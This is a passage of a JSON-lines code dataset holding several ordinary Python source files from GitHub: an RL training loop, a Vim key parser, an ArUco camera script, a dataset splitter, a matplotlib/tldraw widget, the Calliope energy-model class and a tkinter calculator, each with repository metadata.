np.sum(np.stack(test_data['reward_test']))\n                        mean_reward_run = np.mean(np.stack(test_data['reward_run']))\n                        mean_total_reward.append(mean_reward)\n                        mean_total_reward_run.append(mean_reward_run)\n                    mean_total_reward = np.mean(np.stack(mean_total_reward))\n                    mean_total_reward_run = np.mean(np.stack(mean_total_reward_run))\n                    wandb.log({'reward epoch': mean_total_reward})\n                    wandb.log({'reward run epoch': mean_total_reward_run})\n                    wandb.log({'Rewards Hist':\n                               wandb.Histogram(np.stack(test_data['reward']))})\n                    wandb.log({'Reward Run Hist':\n                               wandb.Histogram(np.stack(test_data['reward_run']))})\n                    wandb.log({'Policy Stds':\n                               wandb.Histogram(params['Policy']['log_std'].detach().cpu().numpy())})\n                    wandb.log({'Epoch': i})\n                    if i % 20 == 0:\n                        path = f'Policy_models/l{config.levels}_len{config.level_length}_z{config.z_vae}/{i}'\n                        if not os.path.exists(path):\n                            os.makedirs(path)\n                        torch.save({'Policy': params['Policy']}, f'{path}/params_{i}.pt')\n                        with open(f'{path}/class', 'wb') as file:\n                            pickle.dump(msac.policy, file)\n                    if i == config.epochs:\n                        wandb.log({'loss': -mean_total_reward})\n                        \n\nwandb.agent(sweep_id, main)\n","repo_name":"cijerezg/Skill-based-RL","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7579,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"41357494448","text":"\"\"\"Key module.\"\"\"\nfrom collections import namedtuple\nfrom .util import ensure_bytes, ensure_str, int2char\nfrom typing import Dict  # noqa: F401\n\n\nESCAPE_QUOTE = str.maketrans({\n    '\"': '\\\\\"',\n})\n\nCTRL_KEY = b'\\x80\\xfc\\x04'\nMETA_KEY = b'\\x80\\xfc\\x08'\nCTRL_SHIFT_KEY = b'\\x80\\xfc\\x06'\n\n# :help key-notation\nSPECIAL_KEYS = {\n    'C-@': b'\\x80\\xffX',    # Vim internally use <80><ff>X for <C-@>\n    'NUL': 10,\n    'BS': b'\\x80kb',\n    'TAB': 9,\n    'S-TAB': b'\\x80kB',\n    'NL': 10,\n    'FE': 12,\n    'CR': 13,\n    'ESC': 27,\n    'SPACE': 32,\n    'LT': 60,\n    'BSLASH': 92,\n    'BAR': 124,\n    'DEL': b'\\x80kD',\n    'CSI': b'\\x9B',\n    'XCSI': b'\\x80\\xfdP',\n    'UP': b'\\x80ku',\n    'DOWN': b'\\x80kd',\n    'LEFT': b'\\x80kl',\n    'RIGHT': b'\\x80kr',\n    'S-UP': b'\\x80\\xfd\u0004',\n    'S-DOWN': b'\\x80\\xfd\u0005',\n    'S-LEFT': b'\\x80#4',\n    'S-RIGHT': b'\\x80%i',\n    'C-LEFT': b'\\x80\\xfdT',\n    'C-RIGHT': b'\\x80\\xfdU',\n    'F1': b'\\x80k1',\n    'F2': b'\\x80k2',\n    'F3': b'\\x80k3',\n    'F4': b'\\x80k4',\n    'F5': b'\\x80k5',\n    'F6': b'\\x80k6',\n    'F7': b'\\x80k7',\n    'F8': b'\\x80k8',\n    'F9': b'\\x80k9',\n    'F10': b'\\x80k;',\n    'F11': b'\\x80F1',\n    'F12': b'\\x80F2',\n    'S-F1': b'\\x80\\xfd\\x06',\n    'S-F2': b'\\x80\\xfd\\x07',\n    'S-F3': b'\\x80\\xfd\\x08',\n    'S-F4': b'\\x80\\xfd\\x09',\n    'S-F5': b'\\x80\\xfd\\x0A',\n    'S-F6': b'\\x80\\xfd\\x0B',\n    'S-F7': b'\\x80\\xfd\\x0C',\n    'S-F8': b'\\x80\\xfd\\x0D',\n    'S-F9': b'\\x80\\xfd\\x0E',\n    'S-F10': b'\\x80\\xfd\\x0F',\n    'S-F11': b'\\x80\\xfd\\x10',\n    'S-F12': b'\\x80\\xfd\\x11',\n    'HELP': b'\\x80%1',\n    'UNDO': b'\\x80&8',\n    'INSERT': b'\\x80kI',\n    'HOME': b'\\x80kh',\n    'END': b'\\x80@7',\n    'PAGEUP': b'\\x80kP',\n    'PAGEDOWN': b'\\x80kN',\n    'KHOME': b'\\x80K1',\n    'KEND': b'\\x80K4',\n    'KPAGEUP': b'\\x80K3',\n    'KPAGEDOWN': b'\\x80K5',\n    'KPLUS': b'\\x80K6',\n    'KMINUS': b'\\x80K7',\n    'KMULTIPLY': b'\\x80K9',\n    'KDIVIDE': b'\\x80K8',\n    'KENTER': b'\\x80KA',\n    'KPOINT': b'\\x80KB',\n    'K0': b'\\x80KC',\n    'K1': b'\\x80KD',\n    'K2': b'\\x80KE',\n    'K3': b'\\x80KF',\n    'K4': b'\\x80KG',\n    'K5': b'\\x80KH',\n    'K6': b'\\x80KI',\n    'K7': b'\\x80KJ',\n    'K8': b'\\x80KK',\n    'K9': b'\\x80KL',\n}\nSPECIAL_KEYS_REVRESE = {v: k for k, v in SPECIAL_KEYS.items()}\n\n# Add aliases used in Vim. This requires to be AFTER making swap dictionary\nSPECIAL_KEYS.update({\n    'NOP': SPECIAL_KEYS['NUL'],\n    'RETURN': SPECIAL_KEYS['CR'],\n    'ENTER': SPECIAL_KEYS['CR'],\n    'BACKSPACE': SPECIAL_KEYS['BS'],\n    'DELETE': SPECIAL_KEYS['DEL'],\n    'INS': SPECIAL_KEYS['INSERT'],\n})\n\n\nKeyBase = namedtuple('KeyBase', ['code', 'char'])\n\n\nclass Key(KeyBase):\n    \"\"\"Key class which indicate a single key.\n\n    Attributes:\n        code (int or bytes): A code of the key. A bytes is used when the key is\n            a special key in Vim (a key which starts from 0x80 in getchar()).\n        char (str): A printable represantation of the key. It might be an empty\n            string when the key is not printable.\n    \"\"\"\n\n    __slots__ = ()\n    __cached = {}  # type: Dict[str, Key]\n\n    def __str__(self):\n        \"\"\"Return string representation of the key.\"\"\"\n        return self.char\n\n    @classmethod\n    def represent(cls, nvim, code):\n        \"\"\"Return a string representation of a Keycode.\"\"\"\n        if isinstance(code, int):\n            return int2char(nvim, code)\n        if code in SPECIAL_KEYS_REVRESE:\n            char = SPECIAL_KEYS_REVRESE.get(code)\n            return '<%s>' % char\n        else:\n            return ensure_str(nvim, code)\n\n    @classmethod\n    def parse(cls, nvim, expr):\n        r\"\"\"Parse a key expression and return a Key instance.\n\n        It returns a Key instance of a key expression. The instance is cached\n        to individual expression so that the instance is exactly equal when\n        same expression is spcified.\n\n        Args:\n            expr (int, bytes, or str): A key expression.\n\n        Example:\n            >>> from unittest.mock import MagicMock\n            >>> nvim = MagicMock()\n            >>> nvim.options = {'encoding': 'utf-8'}\n            >>> Key.parse(nvim, ord('a'))\n            Key(code=97, char='a')\n            >>> Key.parse(nvim, '<Insert>')\n            Key(code=b'\\x80kI', char='')\n\n        Returns:\n            Key: A Key instance.\n        \"\"\"\n        if expr not in cls.__cached:\n            code = _resolve(nvim, expr)\n            if isinstance(code, int):\n                char = int2char(nvim, code)\n            elif not code.startswith(b'\\x80'):\n                char = ensure_str(nvim, code)\n            else:\n                char = ''\n            cls.__cached[expr] = cls(code, char)\n        return cls.__cached[expr]\n\n\ndef _resolve(nvim, expr):\n    if isinstance(expr, int):\n        return expr\n    elif isinstance(expr, str):\n        return _resolve(nvim, ensure_bytes(nvim, expr))\n    elif isinstance(expr, bytes):\n        if len(expr) == 1:\n            return ord(expr)\n        elif expr.startswith(b'\\x80'):\n            return expr\n    else:\n        raise AttributeError((\n            '`expr` (%s) requires to be an instance of int|bytes|str but '\n            '\"%s\" has specified.'\n        ) % (expr, type(expr)))\n    # Special key\n    if expr.startswith(b'<') or expr.endswith(b'>'):\n        inner = expr[1:-1]\n        code = _resolve_from_special_keys(nvim, inner)\n        if code != inner:\n            return code\n    return expr\n\n\ndef _resolve_from_special_keys(nvim, inner):\n    inner_upper = inner.upper()\n    inner_upper_str = ensure_str(nvim, inner_upper)\n    if inner_upper_str in SPECIAL_KEYS:\n        return SPECIAL_KEYS[inner_upper_str]\n    elif inner_upper.startswith(b'C-S-') or inner_upper.startswith(b'S-C-'):\n        return b''.join([\n            CTRL_SHIFT_KEY,\n            _resolve_from_special_keys_inner(nvim, inner[4:]),\n        ])\n    elif inner_upper.startswith(b'C-'):\n        if len(inner) == 3:\n            if inner_upper[-1] in b'@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\\\]^_?':\n                return inner[-1] & 0x1f\n        return b''.join([\n            CTRL_KEY,\n            _resolve_from_special_keys_inner(nvim, inner[2:]),\n        ])\n    elif inner_upper.startswith(b'M-') or inner_upper.startswith(b'A-'):\n        return b''.join([\n            META_KEY,\n            _resolve_from_special_keys_inner(nvim, inner[2:]),\n        ])\n    elif inner_upper == b'LEADER':\n        leader = nvim.vars['mapleader']\n        leader = ensure_bytes(nvim, leader)\n        return _resolve(nvim, leader)\n    elif inner_upper == b'LOCALLEADER':\n        leader = nvim.vars['maplocalleader']\n        leader = ensure_bytes(nvim, leader)\n        return _resolve(nvim, leader)\n    return inner\n\n\ndef _resolve_from_special_keys_inner(nvim, inner):\n    code = _resolve_from_special_keys(nvim, inner)\n    if isinstance(code, int):\n        return ensure_bytes(nvim, int2char(nvim, code))\n    return ensure_bytes(nvim, code)\n","repo_name":"lambdalisue/lista.nvim","sub_path":"rplugin/python3/lista/prompt/key.py","file_name":"key.py","file_ext":"py","file_size_in_byte":6830,"program_lang":"python","lang":"en","doc_type":"code","stars":57,"dataset":"github-code","pt":"35"}
{"seq_id":"11713974300","text":"#!/usr/bin/python3\n\n#This programs returns the camera focal length assuming tag is tag 0, 20cm wide and 100cm away\nimport cv2\nimport cv2.aruco as aruco\nimport numpy as np\nimport os\nimport configparser\nfrom time import sleep\n\n#opens the camera\ncam = cv2.VideoCapture('/dev/video0')\nif not cam.isOpened():\n    print(\"Camera not connected\")\n    exit(-1)\n\n#sets up the config stuff\nconfig = configparser.ConfigParser(allow_no_value=True)\nconfig.read(os.path.dirname(__file__) + '/config.ini')\n\n#sets the resolution and 4cc\nformat = config['ARTRACKER']['FORMAT']\ncam.set(cv2.CAP_PROP_FOURCC, cv2.VideoWriter_fourcc(format[0], format[1], format[2], format[3]))\n\ndppH = float(config['ARTRACKER']['DEGREES_PER_PIXEL'])\ndppV = float(config['ARTRACKER']['VDEGREES_PER_PIXEL'])\nwidth = int(config['ARTRACKER']['FRAME_WIDTH'])\nheight = int(config['ARTRACKER']['FRAME_HEIGHT'])\ncam.set(cv2.CAP_PROP_FRAME_WIDTH, width)\ncam.set(cv2.CAP_PROP_FRAME_HEIGHT, height)\n\ntagDict = aruco.Dictionary_get(aruco.DICT_4X4_50)\n\nwhile True:\n    try:\n        #takes image and detects markers\n        ret, image = cam.read()\n        corners, markerIDs, rejected = aruco.detectMarkers(image, tagDict)\n        \n        tagWidth = 0\n        if not markerIDs is None and markerIDs[0] == 4:\n            tagWidth = corners[0][0][1][0] - corners[0][0][0][0]\n            \n             #IMPORTANT: Assumes tag is 20cm wide and 100cm away \n            focalLength = (tagWidth * 100) / 20\n            print(\"Focal length: \", focalLength)\n\n            centerXMarker = (corners[0][0][1][0] + corners[0][0][0][0]) / 2 \n            angleToMarkerH = dppH * (centerXMarker - width/2)\n            print('Horizontal angle: ', angleToMarkerH)\n            \n            centerYMarker = (corners[0][0][0][1] + corners[0][0][2][1]) / 2 \n            angleToMarkerV = -1 *dppV * (centerYMarker - height/2)\n            print('Vertical angle: ', angleToMarkerV)\n        else:\n            print(\"Nothing found\")\n            \n        sleep(.1)\n    \n    except KeyboardInterrupt:\n        break\n    except:\n        pass #When running multiple times in a row, must cycle through a few times\n       \ncam.release() #releases the camera\n","repo_name":"Sooner-Rover-Team/SoonerRoverTeamV","sub_path":"Autonomous/findFocalLength.py","file_name":"findFocalLength.py","file_ext":"py","file_size_in_byte":2171,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"35"}
{"seq_id":"9684388043","text":"from dataset.dataset import Dataset\nimport math\n\n\nclass Spliter(object):\n    def __split(self, full_list, ratio):\n        \"\"\"\n        私有方法，功能是将一个列表按ration切分成两个子列表\n        :param full_list:\n        :param ratio:\n        :return:\n        \"\"\"\n        n_total = len(full_list)\n        offset = int(n_total * ratio)\n        if n_total == 0 or offset < 1:\n            return [], full_list\n        sublist_1 = full_list[:offset]\n        sublist_2 = full_list[offset:]\n        return sublist_1, sublist_2\n\n    def split_dataset(self, src_dataset, div_nums=None):\n        \"\"\"\n        将一个dataset对象，按分割比例，拆分为3个dataset对象\n        :param src_dataset: 待拆分数据集对象\n        :param div_nums: 分割比例数组，数组中有3个数字代表比例\n        :return: 拆分后的3个dataset对象\n        \"\"\"\n        # 分割比例判断\n        if div_nums == [] or div_nums is None:\n            div_nums = [6, 2, 2]\n\n        assert isinstance(src_dataset,Dataset), \"Spliter only split Dataset object\"\n        assert len(div_nums) == 3, \"div_ration need 3 int or float input\"\n        assert math.isclose(div_nums[0] + div_nums[1] + div_nums[2], 1) or \\\n               math.isclose(div_nums[0] + div_nums[1] + div_nums[2], 10) or \\\n               math.isclose(div_nums[0] + div_nums[1] + div_nums[2], 100), \\\n            \"sum(div_ration) shoule close to 1 or 10 or 100\"\n\n        nums = div_nums\n        dataset1 = Dataset(src_dataset.args)\n        dataset2 = Dataset(src_dataset.args)\n        dataset3 = Dataset(src_dataset.args)\n        src_examples = src_dataset.get_examples()\n\n        ration1 = float(nums[0]) / (nums[0] + nums[1] + nums[2])\n        examples1, examples2 = self.__split(src_examples, ration1)\n        dataset1.read_from_elist(examples1)\n\n        ration2 = float(nums[1]) / (nums[1] + nums[2])\n        examples2, examples3 = self.__split(examples2, ration2)\n        dataset2.read_from_elist(examples2)\n        dataset3.read_from_elist(examples3)\n\n        return dataset1, dataset2, dataset3\n","repo_name":"mottled233/MRC_FastFrame","sub_path":"dataset/spliter.py","file_name":"spliter.py","file_ext":"py","file_size_in_byte":2083,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"9482858741","text":"import pathlib\nfrom pathlib import Path\nimport base64\nimport anywidget\nfrom traitlets import Unicode, Int\nimport io\n\n\nclass TldrawMatplotlib(anywidget.AnyWidget):\n    image_width = Int(300).tag(sync=True)\n    image_height = Int(100).tag(sync=True)\n    base64img = Unicode(\"\").tag(sync=True)\n\n    _esm = pathlib.Path(__file__).parent / \"static\" / \"widget.js\"\n    _css = pathlib.Path(__file__).parent / \"static\" / \"widget.css\"\n\n    def update_plot(self, fig):\n        self.base64img = TldrawMatplotlib.figure_to_base64(fig)\n\n    @staticmethod\n    def figure_to_base64(my_figure):\n        buf = io.BytesIO()\n        my_figure.savefig(buf, format=\"png\")\n\n        buf.seek(0)\n        base64_img_string_only = base64.b64encode(buf.getvalue()).decode()\n        base64_img_string = f\"data:image/png;base64,{base64_img_string_only}\"\n        return base64_img_string\n\n    @staticmethod\n    def base64_to_image_dimensions(base64_img_string):\n        # decode base64 string to bytes\n        base64_img_string_only = base64_img_string.split(\",\")[1]\n        decoded_bytes = base64.b64decode(base64_img_string_only)\n\n        # check if the file has the PNG signature\n        if decoded_bytes[:8] != b\"\\x89PNG\\r\\n\\x1a\\n\":\n            raise ValueError(\"Invalid PNG file\")\n\n        # extract the IHDR chunk\n        ihdr_start = 8\n        ihdr_end = decoded_bytes.find(b\"IHDR\") + 4 + 8\n        ihdr_chunk = decoded_bytes[ihdr_start:ihdr_end]\n\n        # extract image width and height from the IHDR chunk\n        image_width = int.from_bytes(ihdr_chunk[8:12], byteorder=\"big\")\n        image_height = int.from_bytes(ihdr_chunk[12:16], byteorder=\"big\")\n\n        return image_width, image_height\n\n    def __init__(self, my_figure=None, **kwargs):\n        # print(\"Info: All drawings are deleted when the notebook is reloaded, saving the overlay is not supported yet.\")\n        if my_figure is None:\n            \"Plase provide a figure\"\n\n        base64_img_string = TldrawMatplotlib.figure_to_base64(my_figure)\n        image_width, image_height = TldrawMatplotlib.base64_to_image_dimensions(\n            base64_img_string\n        )\n\n        super().__init__(\n            **kwargs,\n            base64img=base64_img_string,\n            image_width=image_width,\n            image_height=image_height,\n        )\n\n    image_width = Int(300).tag(sync=True)\n    image_height = Int(100).tag(sync=True)\n\n    base64img = Unicode(\"\").tag(sync=True)\n    _esm = pathlib.Path(__file__).parent / \"static\" /\"matplotlib_annotate.js\"\n    _css = pathlib.Path(__file__).parent / \"static\" /\"matplotlib_annotate.css\"\n","repo_name":"kolibril13/jupyter-tldraw","sub_path":"src/tldraw/matplotlib_annotate.py","file_name":"matplotlib_annotate.py","file_ext":"py","file_size_in_byte":2571,"program_lang":"python","lang":"en","doc_type":"code","stars":54,"dataset":"github-code","pt":"35"}
{"seq_id":"29474519067","text":"import logging\nimport warnings\n\nimport xarray as xr\n\nfrom calliope.postprocess import results as postprocess_results\nfrom calliope.postprocess import plotting\nfrom calliope.core import io\nfrom calliope.preprocess import (\n    model_run_from_yaml,\n    model_run_from_dict,\n)\nfrom calliope.preprocess.model_data import ModelDataFactory\nfrom calliope.core.attrdict import AttrDict\nfrom calliope.core.util.logging import log_time\nfrom calliope.core.util.observed_dict import UpdateObserverDict\nfrom calliope import exceptions\nfrom calliope.backend.run import run as run_backend\n\nlogger = logging.getLogger(__name__)\n\n\ndef read_netcdf(path):\n    \"\"\"\n    Return a Model object reconstructed from model data in a NetCDF file.\n\n    \"\"\"\n    model_data = io.read_netcdf(path)\n    return Model(config=None, model_data=model_data)\n\n\nclass Model(object):\n    \"\"\"\n    A Calliope Model.\n\n    \"\"\"\n\n    def __init__(self, config, model_data=None, debug=False, *args, **kwargs):\n        \"\"\"\n        Returns a new Model from either the path to a YAML model\n        configuration file or a dict fully specifying the model.\n\n        Parameters\n        ----------\n        config : str or dict or AttrDict\n            If str, must be the path to a model configuration file.\n            If dict or AttrDict, must fully specify the model.\n        model_data : Dataset, optional\n            Create a Model instance from a fully built model_data Dataset.\n            This is only used if `config` is explicitly set to None\n            and is primarily used to re-create a Model instance from\n            a model previously saved to a NetCDF file.\n\n        \"\"\"\n        self._timings = {}\n        # try to set logging output format assuming python interactive. Will\n        # use CLI logging format if model called from CLI\n        log_time(logger, self._timings, \"model_creation\", comment=\"Model: initialising\")\n        if isinstance(config, str):\n            model_run, debug_data = model_run_from_yaml(config, *args, **kwargs)\n            self._init_from_model_run(model_run, debug_data, debug)\n        elif isinstance(config, dict):\n            model_run, debug_data = model_run_from_dict(config, *args, **kwargs)\n            self._init_from_model_run(model_run, debug_data, debug)\n        elif model_data is not None and config is None:\n            self._init_from_model_data(model_data)\n        else:\n            # expected input is a string pointing to a YAML file of the run\n            # configuration or a dict/AttrDict in which the run and model\n            # configurations are defined\n            raise ValueError(\n                \"Input configuration must either be a string or a dictionary.\"\n            )\n        self._check_future_deprecation_warnings()\n\n        self.plot = plotting.ModelPlotMethods(self)\n\n    def _init_from_model_run(self, model_run, debug_data, debug):\n        self._model_run = model_run\n        log_time(\n            logger,\n            self._timings,\n            \"model_run_creation\",\n            comment=\"Model: preprocessing stage 1 (model_run)\",\n        )\n\n        model_data_factory = ModelDataFactory(model_run)\n        (\n            model_data_pre_clustering,\n            model_data,\n            data_pre_time,\n            stripped_keys,\n        ) = model_data_factory()\n\n        self._model_data_pre_clustering = model_data_pre_clustering\n        self._model_data = model_data\n        if debug:\n            self._debug_data = debug_data\n            self._model_data_pre_time = data_pre_time\n            self._model_data_stripped_keys = stripped_keys\n        self.inputs = self._model_data.filter_by_attrs(is_result=0)\n        log_time(\n            logger,\n            self._timings,\n            \"model_data_original_creation\",\n            comment=\"Model: preprocessing stage 2 (model_data)\",\n        )\n\n        # Ensure model and run attributes of _model_data update themselves\n        model_config = {\n            k: v for k, v in model_run.get(\"model\", {}).items() if k != \"file_allowed\"\n        }\n        self.model_config = UpdateObserverDict(\n            initial_dict=model_config, name=\"model_config\", observer=self._model_data\n        )\n        self.run_config = UpdateObserverDict(\n            initial_dict=model_run.get(\"run\", {}),\n            name=\"run_config\",\n            observer=self._model_data,\n        )\n        self.subsets = UpdateObserverDict(\n            initial_dict=model_run.get(\"subsets\").as_dict_flat(),\n            name=\"subsets\",\n            observer=self._model_data,\n        )\n\n        self.constraints = UpdateObserverDict(\n            initial_dict=model_run.get(\"constraints\").as_dict_flat(),\n            name=\"constraints\",\n            observer=self._model_data,\n        )\n\n        log_time(\n            logger,\n            self._timings,\n            \"model_data_creation\",\n            comment=\"Model: preprocessing complete\",\n        )\n\n        # Do the same for custom constraints, if defined\n        self.custom_constraints = UpdateObserverDict(\n            initial_dict=model_run.get(\"custom_constraints\", {}),\n            name=\"custom_constraints\",\n            observer=self._model_data,\n        )\n\n    def _init_from_model_data(self, model_data):\n        if \"_model_run\" in model_data.attrs:\n            self._model_run = AttrDict.from_yaml_string(model_data.attrs[\"_model_run\"])\n            del model_data.attrs[\"_model_run\"]\n\n        if \"_debug_data\" in model_data.attrs:\n            self._debug_data = AttrDict.from_yaml_string(\n                model_data.attrs[\"_debug_data\"]\n            )\n            del model_data.attrs[\"_debug_data\"]\n\n        self._model_data = model_data\n        self._add_model_data_methods()\n\n        log_time(\n            logger,\n            self._timings,\n            \"model_data_loaded\",\n            comment=\"Model: loaded model_data\",\n        )\n\n    def _add_model_data_methods(self):\n        self.inputs = self._model_data.filter_by_attrs(is_result=0)\n        self.results = self._model_data.filter_by_attrs(is_result=1)\n        self.model_config = UpdateObserverDict(\n            initial_yaml_string=self._model_data.attrs.get(\"model_config\", \"{}\"),\n            name=\"model_config\",\n            observer=self._model_data,\n        )\n        self.run_config = UpdateObserverDict(\n            initial_yaml_string=self._model_data.attrs.get(\"run_config\", \"{}\"),\n            name=\"run_config\",\n            observer=self._model_data,\n        )\n        self.subsets = UpdateObserverDict(\n            initial_yaml_string=self._model_data.attrs.get(\"subsets\", \"{}\"),\n            name=\"subsets\",\n            observer=self._model_data,\n            flat=True,\n        )\n\n        results = self._model_data.filter_by_attrs(is_result=1)\n        if len(results.data_vars) > 0:\n            self.results = results\n        log_time(\n            logger,\n            self._timings,\n            \"model_data_loaded\",\n            comment=\"Model: loaded model_data\",\n        )\n\n    def run(self, force_rerun=False, **kwargs):\n        \"\"\"\n        Run the model. If ``force_rerun`` is True, any existing results\n        will be overwritten.\n\n        Additional kwargs are passed to the backend.\n\n        \"\"\"\n        # Check that results exist and are non-empty\n        if hasattr(self, \"results\") and self.results.data_vars and not force_rerun:\n            raise exceptions.ModelError(\n                \"This model object already has results. \"\n                \"Use model.run(force_rerun=True) to force\"\n                \"the results to be overwritten with a new run.\"\n            )\n\n        if (\n            self.run_config[\"mode\"] == \"operate\"\n            and not self._model_data.attrs[\"allow_operate_mode\"]\n        ):\n            raise exceptions.ModelError(\n                \"Unable to run this model in operational mode, probably because \"\n                \"there exist non-uniform timesteps (e.g. from time masking)\"\n            )\n\n        results, self._backend_model, self._backend_model_opt, interface = run_backend(\n            self._model_data, self._timings, **kwargs\n        )\n\n        # Add additional post-processed result variables to results\n        if results.attrs.get(\"termination_condition\", None) in [\"optimal\", \"feasible\"]:\n            results = postprocess_results.postprocess_model_results(\n                results, self._model_data, self._timings\n            )\n        self._model_data.attrs.update(results.attrs)\n        self._model_data = xr.merge(\n            [results, self._model_data], compat=\"override\", combine_attrs=\"no_conflicts\"\n        )\n        self._add_model_data_methods()\n\n        self.backend = interface(self)\n\n    def get_formatted_array(self, var):\n        \"\"\"\n        Return an xr.DataArray with nodes, techs, and carriers as\n        separate dimensions.\n\n        Parameters\n        ----------\n        var : str\n            Decision variable for which to return a DataArray.\n\n        \"\"\"\n        warnings.warn(\n            \"get_formatted_array() is deprecated and will be removed in a \"\n            \"future version. Use `model.results.variable` instead.\",\n            DeprecationWarning,\n        )\n        if var not in self._model_data.data_vars:\n            raise KeyError(\"Variable {} not in Model data\".format(var))\n\n        return self._model_data[var]\n\n    def to_netcdf(self, path):\n        \"\"\"\n        Save complete model data (inputs and, if available, results)\n        to a NetCDF file at the given ``path``.\n\n        \"\"\"\n        io.save_netcdf(self._model_data, path, model=self)\n\n    def to_csv(self, path, dropna=True):\n        \"\"\"\n        Save complete model data (inputs and, if available, results)\n        as a set of CSV files to the given ``path``.\n\n        Parameters\n        ----------\n        dropna : bool, optional\n            If True (default), NaN values are dropped when saving,\n            resulting in significantly smaller CSV files.\n\n        \"\"\"\n        io.save_csv(self._model_data, path, dropna)\n\n    def to_lp(self, path):\n        \"\"\"\n        Save built model to LP format at the given ``path``. If the backend\n        model has not been built yet, it is built prior to saving.\n        \"\"\"\n        io.save_lp(self, path)\n\n    def info(self):\n        info_strings = []\n        model_name = self.model_config.get(\"name\", \"None\")\n        info_strings.append(\"Model name:   {}\".format(model_name))\n        msize = \"{nodes} nodes, {techs} technologies, {times} timesteps\".format(\n            nodes=len(self._model_data.coords.get(\"nodes\", [])),\n            techs=(\n                len(self._model_data.coords.get(\"techs_non_transmission\", []))\n                + len(self._model_data.coords.get(\"techs_transmission_names\", []))\n            ),\n            times=len(self._model_data.coords.get(\"timesteps\", [])),\n        )\n        info_strings.append(\"Model size:   {}\".format(msize))\n        return \"\\n\".join(info_strings)\n\n    def _check_future_deprecation_warnings(self):\n        \"\"\"\n        Method for all FutureWarnings and DeprecationWarnings. Comment above each\n        warning should specify Calliope version in which it was added, and the\n        version in which it should be updated/removed.\n        \"\"\"\n","repo_name":"KasiaKoz/calliope","sub_path":"calliope/core/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":11152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"14376490572","text":"from tkinter import *\nfrom decimal import *\nfrom tkinter.ttk import Radiobutton \n  \n\ndef calculator():  \n\t\n\tdef btn(digit):\n\t\treturn Button(cal, text=digit, font=(\"Arial Bold\", 12), bd = 4, bg= \"#666\", fg = \"#fff\", command = lambda : add_digit(digit))\n\t\n\tdef add_digit(digit):\n\t\tvalue = calc.get() + str(digit)\n\t\tif value[0] == \"0\":\n\t\t\tvalue = value[1:]\n\t\tcalc.delete(0, END)\n\t\tcalc.insert(0,value)\n\t\t\n\tdef add_operation(operation):\n\t\tvalue = calc.get()\n\t\tif value[-1] in \"-+/*\":\n\t\t\tvalue = value[:-1]\n\t\tcalc.delete(0, END)\n\t\tcalc.insert(0,value+operation)\n\t\n\tdef calculation(operation):\n\t\treturn Button(cal, text=operation, font=(\"Arial Bold\", 12), bd = 4,bg= \"#666\", fg = \"#fff\", command = lambda : add_operation(operation))\n\t\n\tdef result(operation):\n\t\treturn Button(cal, text=operation, font=(\"Arial Bold\", 12), bd = 4,bg= \"#666\", fg = \"#fff\", command = calculate)\t \n\t\n\tdef calculate():\n\t\tvalue = calc.get()\n\t\tcalc.delete(0, END)\n\t\tcalc.insert(0, eval(value))\n\t   \n\tcal = Tk()\n\tcal.title(\"Калькулятор\")\n\tcal.geometry(\"287x275\")\n\tcal[\"bg\"] = \"#121212\"\n\tcalc = Entry(cal, justify = RIGHT, font = (\"Arial Bold\",20), width = 15)\n\tcalc.insert(0,\"0\")\n\tcalc.grid(row = 0, column = 0, columnspan = 3)\n\tbtn(\"1\").grid(row = 1, column = 0, stick = \"wens\", padx = 2, pady = 5)\n\tbtn(\"2\").grid(row = 1, column = 1, stick = \"wens\", padx = 2, pady = 5)\n\tbtn(\"3\").grid(row = 1, column = 2, stick = \"wens\", padx = 2, pady = 5)\n\tbtn(\"4\").grid(row = 2, column = 0, stick = \"wens\", padx = 2, pady = 5)\n\tbtn(\"5\").grid(row = 2, column = 1, stick = \"wens\", padx = 2, pady = 5)\n\tbtn(\"6\").grid(row = 2, column = 2, stick = \"wens\", padx = 2, pady = 5)\n\tbtn(\"7\").grid(row = 3, column = 0, stick = \"wens\", padx = 2, pady = 5)\n\tbtn(\"8\").grid(row = 3, column = 1, stick = \"wens\", padx = 2, pady = 5)\n\tbtn(\"9\").grid(row = 3, column = 2, stick = \"wens\", padx = 2, pady = 5)\n\tbtn(\"0\").grid(row = 4, column = 0, stick = \"wens\", padx = 2, pady = 5)\n\t\n\t\n\t\n\tcalculation(\"/\").grid(row = 2, column = 3, stick = \"wens\", padx = 2, pady = 5)\n\tcalculation(\"*\").grid(row = 3, column = 3, stick = \"wens\", padx = 2, pady = 5)\n\tcalculation(\"-\").grid(row = 4, column = 3, stick = \"wens\", padx = 2, pady = 5)\n\tcalculation(\"+\").grid(row = 4, column = 2, stick = \"wens\", padx = 2, pady = 5)\n\t\n\tresult(\"=\").grid(row = 0, column = 3, rowspan = 2, stick = \"wens\", padx = 2, pady = 5)\n\t\n\t\n\t\n\tcal.grid_columnconfigure(0,minsize = 60)\n\tcal.grid_columnconfigure(1,minsize = 60)\n\tcal.grid_columnconfigure(2,minsize = 60)\n\tcal.grid_columnconfigure(3,minsize = 60)\n\t\n\t\n\tcal.grid_rowconfigure(1,minsize = 60)\n\tcal.grid_rowconfigure(2,minsize = 60)\n\tcal.grid_rowconfigure(3,minsize = 60)\n\tcal.grid_rowconfigure(4,minsize = 60)\n\n\t\ndef checkbox():\n\t\n\tdef change():\n\t\t\n\t\tbox = Tk()\n\t\tbox.title(\"Результат\")\n\t\tbox.geometry(\"200x50\")\n\t\tbox[\"bg\"] = \"#666\"\n\t\tlabel = Label(box,  font=(\"Arial Bold\", 12), bg= \"#666\", fg = \"#fff\")\n\t\tlabel.grid(column = 0, row = 2, columnspan = 3)\n\t\tif var.get() == 0:\n\t\t\tlabel[\"text\"] = \"Вы выбрали 1-ый вариант\" \n\t\telif var.get() == 1:\n\t\t\tlabel[\"text\"] = \"Вы выбрали 2-ой вариант\" \n\t\telif var.get() == 2:\n\t\t\tlabel[\"text\"] = \"Вы выбрали 3-ий вариант\" \n\n\t\n\tcheck = Tk()\n\tcheck.title(\"Чекбокс\")\n\tcheck.geometry(\"190x55\")\n\tcheck[\"bg\"] = \"#666\"\n\tvar = IntVar(check)\n\trad1 = 